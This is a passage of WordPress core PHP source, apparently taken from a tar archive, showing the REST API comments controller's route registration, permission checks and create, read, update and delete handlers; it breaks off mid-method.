		$schema['properties']['title']['properties']['raw']['context']   = array( 'view', 'edit' );
		$schema['properties']['content']['properties']['raw']['context'] = array( 'view', 'edit' );

		/*
		 * Remove `title.rendered` and `content.rendered` from the schema.
		 * It doesn't make sense for a pattern to have rendered content on its own,
		 * since rendering a block requires it to be inside a post or a page.
		 */
		unset( $schema['properties']['title']['properties']['rendered'] );
		unset( $schema['properties']['content']['properties']['rendered'] );

		$this->schema = $schema;

		return $this->add_additional_fields_schema( $this->schema );
	}
}
endpoints/class-wp-rest-comments-controller.php000064400000161770151724720270016013 0ustar00<?php
/**
 * REST API: WP_REST_Comments_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core controller used to access comments via the REST API.
 *
 * @since 4.7.0
 *
 * @see WP_REST_Controller
 */
class WP_REST_Comments_Controller extends WP_REST_Controller {

	/**
	 * Instance of a comment meta fields object.
	 *
	 * @since 4.7.0
	 * @var WP_REST_Comment_Meta_Fields
	 */
	protected $meta;

	/**
	 * Constructor.
	 *
	 * @since 4.7.0
	 */
	public function __construct() {
		$this->namespace = 'wp/v2';
		$this->rest_base = 'comments';

		$this->meta = new WP_REST_Comment_Meta_Fields();
	}

	/**
	 * Registers the routes for comments.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base,
			array(
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_items' ),
					'permission_callback' => array( $this, 'get_items_permissions_check' ),
					'args'                => $this->get_collection_params(),
				),
				array(
					'methods'             => WP_REST_Server::CREATABLE,
					'callback'            => array( $this, 'create_item' ),
					'permission_callback' => array( $this, 'create_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);

		register_rest_route(
			$this->namespace,
			'/' . $this->rest_base . '/(?P<id>[\d]+)',
			array(
				'args'   => array(
					'id' => array(
						'description' => __( 'Unique identifier for the comment.' ),
						'type'        => 'integer',
					),
				),
				array(
					'methods'             => WP_REST_Server::READABLE,
					'callback'            => array( $this, 'get_item' ),
					'permission_callback' => array( $this, 'get_item_permissions_check' ),
					'args'                => array(
						'context'  => $this->get_context_param( array( 'default' => 'view' ) ),
						'password' => array(
							'description' => __( 'The password for the parent post of the comment (if the post is password protected).' ),
							'type'        => 'string',
						),
					),
				),
				array(
					'methods'             => WP_REST_Server::EDITABLE,
					'callback'            => array( $this, 'update_item' ),
					'permission_callback' => array( $this, 'update_item_permissions_check' ),
					'args'                => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ),
				),
				array(
					'methods'             => WP_REST_Server::DELETABLE,
					'callback'            => array( $this, 'delete_item' ),
					'permission_callback' => array( $this, 'delete_item_permissions_check' ),
					'args'                => array(
						'force'    => array(
							'type'        => 'boolean',
							'default'     => false,
							'description' => __( 'Whether to bypass Trash and force deletion.' ),
						),
						'password' => array(
							'description' => __( 'The password for the parent post of the comment (if the post is password protected).' ),
							'type'        => 'string',
						),
					),
				),
				'schema' => array( $this, 'get_public_item_schema' ),
			)
		);
	}

	/**
	 * Checks if a given request has access to read comments.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {

		if ( ! empty( $request['post'] ) ) {
			foreach ( (array) $request['post'] as $post_id ) {
				$post = get_post( $post_id );

				if ( ! empty( $post_id ) && $post && ! $this->check_read_post_permission( $post, $request ) ) {
					return new WP_Error(
						'rest_cannot_read_post',
						__( 'Sorry, you are not allowed to read the post for this comment.' ),
						array( 'status' => rest_authorization_required_code() )
					);
				} elseif ( 0 === $post_id && ! current_user_can( 'moderate_comments' ) ) {
					return new WP_Error(
						'rest_cannot_read',
						__( 'Sorry, you are not allowed to read comments without a post.' ),
						array( 'status' => rest_authorization_required_code() )
					);
				}
			}
		}

		if ( ! empty( $request['context'] ) && 'edit' === $request['context'] && ! current_user_can( 'moderate_comments' ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit comments.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! current_user_can( 'edit_posts' ) ) {
			$protected_params = array( 'author', 'author_exclude', 'author_email', 'type', 'status' );
			$forbidden_params = array();

			foreach ( $protected_params as $param ) {
				if ( 'status' === $param ) {
					if ( 'approve' !== $request[ $param ] ) {
						$forbidden_params[] = $param;
					}
				} elseif ( 'type' === $param ) {
					if ( 'comment' !== $request[ $param ] ) {
						$forbidden_params[] = $param;
					}
				} elseif ( ! empty( $request[ $param ] ) ) {
					$forbidden_params[] = $param;
				}
			}

			if ( ! empty( $forbidden_params ) ) {
				return new WP_Error(
					'rest_forbidden_param',
					/* translators: %s: List of forbidden parameters. */
					sprintf( __( 'Query parameter not permitted: %s' ), implode( ', ', $forbidden_params ) ),
					array( 'status' => rest_authorization_required_code() )
				);
			}
		}

		return true;
	}

	/**
	 * Retrieves a list of comment items.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or error object on failure.
	 */
	public function get_items( $request ) {

		// Retrieve the list of registered collection query parameters.
		$registered = $this->get_collection_params();

		/*
		 * This array defines mappings between public API query parameters whose
		 * values are accepted as-passed, and their internal WP_Query parameter
		 * name equivalents (some are the same). Only values which are also
		 * present in $registered will be set.
		 */
		$parameter_mappings = array(
			'author'         => 'author__in',
			'author_email'   => 'author_email',
			'author_exclude' => 'author__not_in',
			'exclude'        => 'comment__not_in',
			'include'        => 'comment__in',
			'offset'         => 'offset',
			'order'          => 'order',
			'parent'         => 'parent__in',
			'parent_exclude' => 'parent__not_in',
			'per_page'       => 'number',
			'post'           => 'post__in',
			'search'         => 'search',
			'status'         => 'status',
			'type'           => 'type',
		);

		$prepared_args = array();

		/*
		 * For each known parameter which is both registered and present in the request,
		 * set the parameter's value on the query $prepared_args.
		 */
		foreach ( $parameter_mappings as $api_param => $wp_param ) {
			if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) {
				$prepared_args[ $wp_param ] = $request[ $api_param ];
			}
		}

		// Ensure certain parameter values default to empty strings.
		foreach ( array( 'author_email', 'search' ) as $param ) {
			if ( ! isset( $prepared_args[ $param ] ) ) {
				$prepared_args[ $param ] = '';
			}
		}

		if ( isset( $registered['orderby'] ) ) {
			$prepared_args['orderby'] = $this->normalize_query_param( $request['orderby'] );
		}

		$prepared_args['no_found_rows'] = false;

		$prepared_args['update_comment_post_cache'] = true;

		$prepared_args['date_query'] = array();

		// Set before into date query. Date query must be specified as an array of an array.
		if ( isset( $registered['before'], $request['before'] ) ) {
			$prepared_args['date_query'][0]['before'] = $request['before'];
		}

		// Set after into date query. Date query must be specified as an array of an array.
		if ( isset( $registered['after'], $request['after'] ) ) {
			$prepared_args['date_query'][0]['after'] = $request['after'];
		}

		if ( isset( $registered['page'] ) && empty( $request['offset'] ) ) {
			$prepared_args['offset'] = $prepared_args['number'] * ( absint( $request['page'] ) - 1 );
		}

		$is_head_request = $request->is_method( 'HEAD' );
		if ( $is_head_request ) {
			// Force the 'fields' argument. For HEAD requests, only post IDs are required to calculate pagination.
			$prepared_args['fields'] = 'ids';
			// Disable priming comment meta for HEAD requests to improve performance.
			$prepared_args['update_comment_meta_cache'] = false;
		}

		/**
		 * Filters WP_Comment_Query arguments when querying comments via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @link https://developer.wordpress.org/reference/classes/wp_comment_query/
		 *
		 * @param array           $prepared_args Array of arguments for WP_Comment_Query.
		 * @param WP_REST_Request $request       The REST API request.
		 */
		$prepared_args = apply_filters( 'rest_comment_query', $prepared_args, $request );

		$query        = new WP_Comment_Query();
		$query_result = $query->query( $prepared_args );

		if ( ! $is_head_request ) {
			$comments = array();

			foreach ( $query_result as $comment ) {
				if ( ! $this->check_read_permission( $comment, $request ) ) {
					continue;
				}

				$data       = $this->prepare_item_for_response( $comment, $request );
				$comments[] = $this->prepare_response_for_collection( $data );
			}
		}

		$total_comments = (int) $query->found_comments;
		$max_pages      = (int) $query->max_num_pages;

		if ( $total_comments < 1 ) {
			// Out-of-bounds, run the query again without LIMIT for total count.
			unset( $prepared_args['number'], $prepared_args['offset'] );

			$query                    = new WP_Comment_Query();
			$prepared_args['count']   = true;
			$prepared_args['orderby'] = 'none';

			$total_comments = $query->query( $prepared_args );
			$max_pages      = (int) ceil( $total_comments / $request['per_page'] );
		}

		$response = $is_head_request ? new WP_REST_Response( array() ) : rest_ensure_response( $comments );
		$response->header( 'X-WP-Total', $total_comments );
		$response->header( 'X-WP-TotalPages', $max_pages );

		$base = add_query_arg( urlencode_deep( $request->get_query_params() ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) );

		if ( $request['page'] > 1 ) {
			$prev_page = $request['page'] - 1;

			if ( $prev_page > $max_pages ) {
				$prev_page = $max_pages;
			}

			$prev_link = add_query_arg( 'page', $prev_page, $base );
			$response->link_header( 'prev', $prev_link );
		}

		if ( $max_pages > $request['page'] ) {
			$next_page = $request['page'] + 1;
			$next_link = add_query_arg( 'page', $next_page, $base );

			$response->link_header( 'next', $next_link );
		}

		return $response;
	}

	/**
	 * Get the comment, if the ID is valid.
	 *
	 * @since 4.7.2
	 *
	 * @param int $id Supplied ID.
	 * @return WP_Comment|WP_Error Comment object if ID is valid, WP_Error otherwise.
	 */
	protected function get_comment( $id ) {
		$error = new WP_Error(
			'rest_comment_invalid_id',
			__( 'Invalid comment ID.' ),
			array( 'status' => 404 )
		);

		if ( (int) $id <= 0 ) {
			return $error;
		}

		$id      = (int) $id;
		$comment = get_comment( $id );
		if ( empty( $comment ) ) {
			return $error;
		}

		if ( ! empty( $comment->comment_post_ID ) ) {
			$post = get_post( (int) $comment->comment_post_ID );

			if ( empty( $post ) ) {
				return new WP_Error(
					'rest_post_invalid_id',
					__( 'Invalid post ID.' ),
					array( 'status' => 404 )
				);
			}
		}

		return $comment;
	}

	/**
	 * Checks if a given request has access to read the comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		if ( ! empty( $request['context'] ) && 'edit' === $request['context'] && ! current_user_can( 'moderate_comments' ) ) {
			return new WP_Error(
				'rest_forbidden_context',
				__( 'Sorry, you are not allowed to edit comments.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		$post = get_post( $comment->comment_post_ID );

		if ( ! $this->check_read_permission( $comment, $request ) ) {
			return new WP_Error(
				'rest_cannot_read',
				__( 'Sorry, you are not allowed to read this comment.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( $post && ! $this->check_read_post_permission( $post, $request ) ) {
			return new WP_Error(
				'rest_cannot_read_post',
				__( 'Sorry, you are not allowed to read the post for this comment.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Retrieves a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or error object on failure.
	 */
	public function get_item( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		$data     = $this->prepare_item_for_response( $comment, $request );
		$response = rest_ensure_response( $data );

		return $response;
	}

	/**
	 * Checks if a given request has access to create a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		if ( ! is_user_logged_in() ) {
			if ( get_option( 'comment_registration' ) ) {
				return new WP_Error(
					'rest_comment_login_required',
					__( 'Sorry, you must be logged in to comment.' ),
					array( 'status' => 401 )
				);
			}

			/**
			 * Filters whether comments can be created via the REST API without authentication.
			 *
			 * Enables creating comments for anonymous users.
			 *
			 * @since 4.7.0
			 *
			 * @param bool $allow_anonymous Whether to allow anonymous comments to
			 *                              be created. Default `false`.
			 * @param WP_REST_Request $request Request used to generate the
			 *                                 response.
			 */
			$allow_anonymous = apply_filters( 'rest_allow_anonymous_comments', false, $request );

			if ( ! $allow_anonymous ) {
				return new WP_Error(
					'rest_comment_login_required',
					__( 'Sorry, you must be logged in to comment.' ),
					array( 'status' => 401 )
				);
			}
		}

		// Limit who can set comment `author`, `author_ip` or `status` to anything other than the default.
		if ( isset( $request['author'] ) && get_current_user_id() !== $request['author'] && ! current_user_can( 'moderate_comments' ) ) {
			return new WP_Error(
				'rest_comment_invalid_author',
				/* translators: %s: Request parameter. */
				sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'author' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( isset( $request['author_ip'] ) && ! current_user_can( 'moderate_comments' ) ) {
			if ( empty( $_SERVER['REMOTE_ADDR'] ) || $request['author_ip'] !== $_SERVER['REMOTE_ADDR'] ) {
				return new WP_Error(
					'rest_comment_invalid_author_ip',
					/* translators: %s: Request parameter. */
					sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'author_ip' ),
					array( 'status' => rest_authorization_required_code() )
				);
			}
		}

		if ( isset( $request['status'] ) && ! current_user_can( 'moderate_comments' ) ) {
			return new WP_Error(
				'rest_comment_invalid_status',
				/* translators: %s: Request parameter. */
				sprintf( __( "Sorry, you are not allowed to edit '%s' for comments." ), 'status' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( empty( $request['post'] ) ) {
			return new WP_Error(
				'rest_comment_invalid_post_id',
				__( 'Sorry, you are not allowed to create this comment without a post.' ),
				array( 'status' => 403 )
			);
		}

		$post = get_post( (int) $request['post'] );

		if ( ! $post ) {
			return new WP_Error(
				'rest_comment_invalid_post_id',
				__( 'Sorry, you are not allowed to create this comment without a post.' ),
				array( 'status' => 403 )
			);
		}

		if ( 'draft' === $post->post_status ) {
			return new WP_Error(
				'rest_comment_draft_post',
				__( 'Sorry, you are not allowed to create a comment on this post.' ),
				array( 'status' => 403 )
			);
		}

		if ( 'trash' === $post->post_status ) {
			return new WP_Error(
				'rest_comment_trash_post',
				__( 'Sorry, you are not allowed to create a comment on this post.' ),
				array( 'status' => 403 )
			);
		}

		if ( ! $this->check_read_post_permission( $post, $request ) ) {
			return new WP_Error(
				'rest_cannot_read_post',
				__( 'Sorry, you are not allowed to read the post for this comment.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		if ( ! comments_open( $post->ID ) ) {
			return new WP_Error(
				'rest_comment_closed',
				__( 'Sorry, comments are closed for this item.' ),
				array( 'status' => 403 )
			);
		}

		return true;
	}

	/**
	 * Creates a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or error object on failure.
	 */
	public function create_item( $request ) {
		if ( ! empty( $request['id'] ) ) {
			return new WP_Error(
				'rest_comment_exists',
				__( 'Cannot create existing comment.' ),
				array( 'status' => 400 )
			);
		}

		// Do not allow comments to be created with a non-default type.
		if ( ! empty( $request['type'] ) && 'comment' !== $request['type'] ) {
			return new WP_Error(
				'rest_invalid_comment_type',
				__( 'Cannot create a comment with that type.' ),
				array( 'status' => 400 )
			);
		}

		$prepared_comment = $this->prepare_item_for_database( $request );
		if ( is_wp_error( $prepared_comment ) ) {
			return $prepared_comment;
		}

		$prepared_comment['comment_type'] = 'comment';

		if ( ! isset( $prepared_comment['comment_content'] ) ) {
			$prepared_comment['comment_content'] = '';
		}

		if ( ! $this->check_is_comment_content_allowed( $prepared_comment ) ) {
			return new WP_Error(
				'rest_comment_content_invalid',
				__( 'Invalid comment content.' ),
				array( 'status' => 400 )
			);
		}

		// Setting remaining values before wp_insert_comment so we can use wp_allow_comment().
		if ( ! isset( $prepared_comment['comment_date_gmt'] ) ) {
			$prepared_comment['comment_date_gmt'] = current_time( 'mysql', true );
		}

		// Set author data if the user's logged in.
		$missing_author = empty( $prepared_comment['user_id'] )
			&& empty( $prepared_comment['comment_author'] )
			&& empty( $prepared_comment['comment_author_email'] )
			&& empty( $prepared_comment['comment_author_url'] );

		if ( is_user_logged_in() && $missing_author ) {
			$user = wp_get_current_user();

			$prepared_comment['user_id']              = $user->ID;
			$prepared_comment['comment_author']       = $user->display_name;
			$prepared_comment['comment_author_email'] = $user->user_email;
			$prepared_comment['comment_author_url']   = $user->user_url;
		}

		// Honor the discussion setting that requires a name and email address of the comment author.
		if ( get_option( 'require_name_email' ) ) {
			if ( empty( $prepared_comment['comment_author'] ) || empty( $prepared_comment['comment_author_email'] ) ) {
				return new WP_Error(
					'rest_comment_author_data_required',
					__( 'Creating a comment requires valid author name and email values.' ),
					array( 'status' => 400 )
				);
			}
		}

		if ( ! isset( $prepared_comment['comment_author_email'] ) ) {
			$prepared_comment['comment_author_email'] = '';
		}

		if ( ! isset( $prepared_comment['comment_author_url'] ) ) {
			$prepared_comment['comment_author_url'] = '';
		}

		if ( ! isset( $prepared_comment['comment_agent'] ) ) {
			$prepared_comment['comment_agent'] = '';
		}

		$check_comment_lengths = wp_check_comment_data_max_lengths( $prepared_comment );

		if ( is_wp_error( $check_comment_lengths ) ) {
			$error_code = $check_comment_lengths->get_error_code();
			return new WP_Error(
				$error_code,
				__( 'Comment field exceeds maximum length allowed.' ),
				array( 'status' => 400 )
			);
		}

		$prepared_comment['comment_approved'] = wp_allow_comment( $prepared_comment, true );

		if ( is_wp_error( $prepared_comment['comment_approved'] ) ) {
			$error_code    = $prepared_comment['comment_approved']->get_error_code();
			$error_message = $prepared_comment['comment_approved']->get_error_message();

			if ( 'comment_duplicate' === $error_code ) {
				return new WP_Error(
					$error_code,
					$error_message,
					array( 'status' => 409 )
				);
			}

			if ( 'comment_flood' === $error_code ) {
				return new WP_Error(
					$error_code,
					$error_message,
					array( 'status' => 400 )
				);
			}

			return $prepared_comment['comment_approved'];
		}

		/**
		 * Filters a comment before it is inserted via the REST API.
		 *
		 * Allows modification of the comment right before it is inserted via wp_insert_comment().
		 * Returning a WP_Error value from the filter will short-circuit insertion and allow
		 * skipping further processing.
		 *
		 * @since 4.7.0
		 * @since 4.8.0 `$prepared_comment` can now be a WP_Error to short-circuit insertion.
		 *
		 * @param array|WP_Error  $prepared_comment The prepared comment data for wp_insert_comment().
		 * @param WP_REST_Request $request          Request used to insert the comment.
		 */
		$prepared_comment = apply_filters( 'rest_pre_insert_comment', $prepared_comment, $request );
		if ( is_wp_error( $prepared_comment ) ) {
			return $prepared_comment;
		}

		$comment_id = wp_insert_comment( wp_filter_comment( wp_slash( (array) $prepared_comment ) ) );

		if ( ! $comment_id ) {
			return new WP_Error(
				'rest_comment_failed_create',
				__( 'Creating comment failed.' ),
				array( 'status' => 500 )
			);
		}

		if ( isset( $request['status'] ) ) {
			$this->handle_status_param( $request['status'], $comment_id );
		}

		$comment = get_comment( $comment_id );

		/**
		 * Fires after a comment is created or updated via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Comment      $comment  Inserted or updated comment object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a comment, false
		 *                                  when updating.
		 */
		do_action( 'rest_insert_comment', $comment, $request, true );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $comment_id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$fields_update = $this->update_additional_fields_for_object( $comment, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$context = current_user_can( 'moderate_comments' ) ? 'edit' : 'view';
		$request->set_param( 'context', $context );

		/**
		 * Fires completely after a comment is created or updated via the REST API.
		 *
		 * @since 5.0.0
		 *
		 * @param WP_Comment      $comment  Inserted or updated comment object.
		 * @param WP_REST_Request $request  Request object.
		 * @param bool            $creating True when creating a comment, false
		 *                                  when updating.
		 */
		do_action( 'rest_after_insert_comment', $comment, $request, true );

		$response = $this->prepare_item_for_response( $comment, $request );
		$response = rest_ensure_response( $response );

		$response->set_status( 201 );
		$response->header( 'Location', rest_url( sprintf( '%s/%s/%d', $this->namespace, $this->rest_base, $comment_id ) ) );

		return $response;
	}

	/**
	 * Checks if a given REST request has access to update a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		if ( ! $this->check_edit_permission( $comment ) ) {
			return new WP_Error(
				'rest_cannot_edit',
				__( 'Sorry, you are not allowed to edit this comment.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}

		return true;
	}

	/**
	 * Updates a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or error object on failure.
	 */
	public function update_item( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		$id = $comment->comment_ID;

		if ( isset( $request['type'] ) && get_comment_type( $id ) !== $request['type'] ) {
			return new WP_Error(
				'rest_comment_invalid_type',
				__( 'Sorry, you are not allowed to change the comment type.' ),
				array( 'status' => 404 )
			);
		}

		$prepared_args = $this->prepare_item_for_database( $request );

		if ( is_wp_error( $prepared_args ) ) {
			return $prepared_args;
		}

		if ( ! empty( $prepared_args['comment_post_ID'] ) ) {
			$post = get_post( $prepared_args['comment_post_ID'] );

			if ( empty( $post ) ) {
				return new WP_Error(
					'rest_comment_invalid_post_id',
					__( 'Invalid post ID.' ),
					array( 'status' => 403 )
				);
			}
		}

		if ( empty( $prepared_args ) && isset( $request['status'] ) ) {
			// Only the comment status is being changed.
			$change = $this->handle_status_param( $request['status'], $id );

			if ( ! $change ) {
				return new WP_Error(
					'rest_comment_failed_edit',
					__( 'Updating comment status failed.' ),
					array( 'status' => 500 )
				);
			}
		} elseif ( ! empty( $prepared_args ) ) {
			if ( is_wp_error( $prepared_args ) ) {
				return $prepared_args;
			}

			if ( isset( $prepared_args['comment_content'] ) && empty( $prepared_args['comment_content'] ) ) {
				return new WP_Error(
					'rest_comment_content_invalid',
					__( 'Invalid comment content.' ),
					array( 'status' => 400 )
				);
			}

			$prepared_args['comment_ID'] = $id;

			$check_comment_lengths = wp_check_comment_data_max_lengths( $prepared_args );

			if ( is_wp_error( $check_comment_lengths ) ) {
				$error_code = $check_comment_lengths->get_error_code();
				return new WP_Error(
					$error_code,
					__( 'Comment field exceeds maximum length allowed.' ),
					array( 'status' => 400 )
				);
			}

			$updated = wp_update_comment( wp_slash( (array) $prepared_args ), true );

			if ( is_wp_error( $updated ) ) {
				return new WP_Error(
					'rest_comment_failed_edit',
					__( 'Updating comment failed.' ),
					array( 'status' => 500 )
				);
			}

			if ( isset( $request['status'] ) ) {
				$this->handle_status_param( $request['status'], $id );
			}
		}

		$comment = get_comment( $id );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php */
		do_action( 'rest_insert_comment', $comment, $request, false );

		$schema = $this->get_item_schema();

		if ( ! empty( $schema['properties']['meta'] ) && isset( $request['meta'] ) ) {
			$meta_update = $this->meta->update_value( $request['meta'], $id );

			if ( is_wp_error( $meta_update ) ) {
				return $meta_update;
			}
		}

		$fields_update = $this->update_additional_fields_for_object( $comment, $request );

		if ( is_wp_error( $fields_update ) ) {
			return $fields_update;
		}

		$request->set_param( 'context', 'edit' );

		/** This action is documented in wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php */
		do_action( 'rest_after_insert_comment', $comment, $request, false );

		$response = $this->prepare_item_for_response( $comment, $request );

		return rest_ensure_response( $response );
	}

	/**
	 * Checks if a given request has access to delete a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		if ( ! $this->check_edit_permission( $comment ) ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'Sorry, you are not allowed to delete this comment.' ),
				array( 'status' => rest_authorization_required_code() )
			);
		}
		return true;
	}

	/**
	 * Deletes a comment.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or error object on failure.
	 */
	public function delete_item( $request ) {
		$comment = $this->get_comment( $request['id'] );
		if ( is_wp_error( $comment ) ) {
			return $comment;
		}

		$force = isset( $request['force'] ) ? (bool) $request['force'] : false;

		/**
		 * Filters whether a comment can be trashed via the REST API.
		 *
		 * Return false to disable trash support for the comment.
		 *
		 * @since 4.7.0
		 *
		 * @param bool       $supports_trash Whether the comment supports trashing.
		 * @param WP_Comment $comment        The comment object being considered for trashing support.
		 */
		$supports_trash = apply_filters( 'rest_comment_trashable', ( EMPTY_TRASH_DAYS > 0 ), $comment );

		$request->set_param( 'context', 'edit' );

		if ( $force ) {
			$previous = $this->prepare_item_for_response( $comment, $request );
			$result   = wp_delete_comment( $comment->comment_ID, true );
			$response = new WP_REST_Response();
			$response->set_data(
				array(
					'deleted'  => true,
					'previous' => $previous->get_data(),
				)
			);
		} else {
			// If this type doesn't support trashing, error out.
			if ( ! $supports_trash ) {
				return new WP_Error(
					'rest_trash_not_supported',
					/* translators: %s: force=true */
					sprintf( __( "The comment does not support trashing. Set '%s' to delete." ), 'force=true' ),
					array( 'status' => 501 )
				);
			}

			if ( 'trash' === $comment->comment_approved ) {
				return new WP_Error(
					'rest_already_trashed',
					__( 'The comment has already been trashed.' ),
					array( 'status' => 410 )
				);
			}

			$result   = wp_trash_comment( $comment->comment_ID );
			$comment  = get_comment( $comment->comment_ID );
			$response = $this->prepare_item_for_response( $comment, $request );
		}

		if ( ! $result ) {
			return new WP_Error(
				'rest_cannot_delete',
				__( 'The comment cannot be deleted.' ),
				array( 'status' => 500 )
			);
		}

		/**
		 * Fires after a comment is deleted via the REST API.
		 *
		 * @since 4.7.0
		 *
		 * @param WP_Comment       $comment  The deleted comment data.
		 * @param WP_REST_Response $response The response returned from the API.
		 * @param WP_REST_Request  $request  The request sent to the API.
		 */
		do_action( 'rest_delete_comment', $comment, $response, $request );

		return $response;
	}

	/**
	 * Prepares a single comment output for response.
	 *
	 * @since 4.7.0
	 * @since 5.9.0 Renamed `$comment` to `$item` to match parent class for PHP 8 named parameter support.
	 *
	 * @param WP_Comment      $item    Comment object.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response Response object.
	 */
	public function prepare_item_for_response( $item, $request ) {
		// Restores the more descriptive, specific name for use within this method.
		$comment = $item;

		// Don't prepare the response body for HEAD requests.
		if ( $request->is_method( 'HEAD' ) ) {
			/** This filter is documented in wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php */
			return apply_filters( 'rest_prepare_comment', new WP_REST_Response( array() ), $comment, $request );
		}

		$fields = $this->get_fields_for_response( $request );
		$data   = array();

		if ( in_array( 'id', $fields, true ) ) {
			$data['id'] = (int) $comment->comment_ID;
		}

		if ( in_array( 'post', $fields, true ) ) {
			$data['post'] = (int) $comment->comment_post_ID;
		}

		if ( in_array( 'parent', $fields, true ) ) {
			$data['parent'] = (int) $comment->comment_parent;
		}

		if ( in_array( 'author', $fields, true ) ) {
			$data['author'] = (int) $comment->user_id;
		}

		if ( in_array( 'author_name', $fields, true ) ) {
			$data['author_name'] = $comment->comment_author;
		}

		if ( in_array( 'author_email', $fields, true ) ) {
			$data['author_email'] = $comment->comment_author_email;
		}

		if ( in_array( 'author_url', $fields, true ) ) {
			$data['author_url'] = $comment->comment_author_url;
		}

		if ( in_array( 'author_ip', $fields, true ) ) {
			$data['author_ip'] = $comment->comment_author_IP;
		}

		if ( in_array( 'author_user_agent', $fields, true ) ) {
			$data['author_user_agent'] = $comment->comment_agent;
		}

		if ( in_array( 'date', $fields, true ) ) {
			$data['date'] = mysql_to_rfc3339( $comment->comment_date );
		}

		if ( in_array( 'date_gmt', $fields, true ) ) {
			$data['date_gmt'] = mysql_to_rfc3339( $comment->comment_date_gmt );
		}

		if ( in_array( 'content', $fields, true ) ) {
			$data['content'] = array(
				/** This filter is documented in wp-includes/comment-template.php */
				'rendered' => apply_filters( 'comment_text', $comment->comment_content, $comment, array() ),
				'raw'      => $comment->comment_content,
			);
		}

		if ( in_array( 'link', $fields, true ) ) {
			$data['link'] = get_comment_link( $comment );
		}

		if ( in_array( 'status', $fields, true ) ) {
			$data['status'] = $this->prepare_status_response( $comment->comment_approved );
		}

		if ( in_array( 'type', $fields, true ) ) {
			$data['type'] = get_comment_type( $comment->comment_ID );
		}

		if ( in_array( 'author_avatar_urls', $fields, true ) ) {
			$data['author_avatar_urls'] = rest_get_avatar_urls( $comment );
		}

		if ( in_array( 'meta', $fields, true ) ) {
			$data['meta'] = $this->meta->get_value( $comment->comment_ID, $request );
		}

		$context = ! empty( $request['context'] ) ? $request['context'] : 'view';
		$data    = $this->add_additional_fields_to_object( $data, $request );
		$data    = $this->filter_response_by_context( $data, $context );

		// Wrap the data in a response object.
		$response = rest_ensure_response( $data );

		if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) {
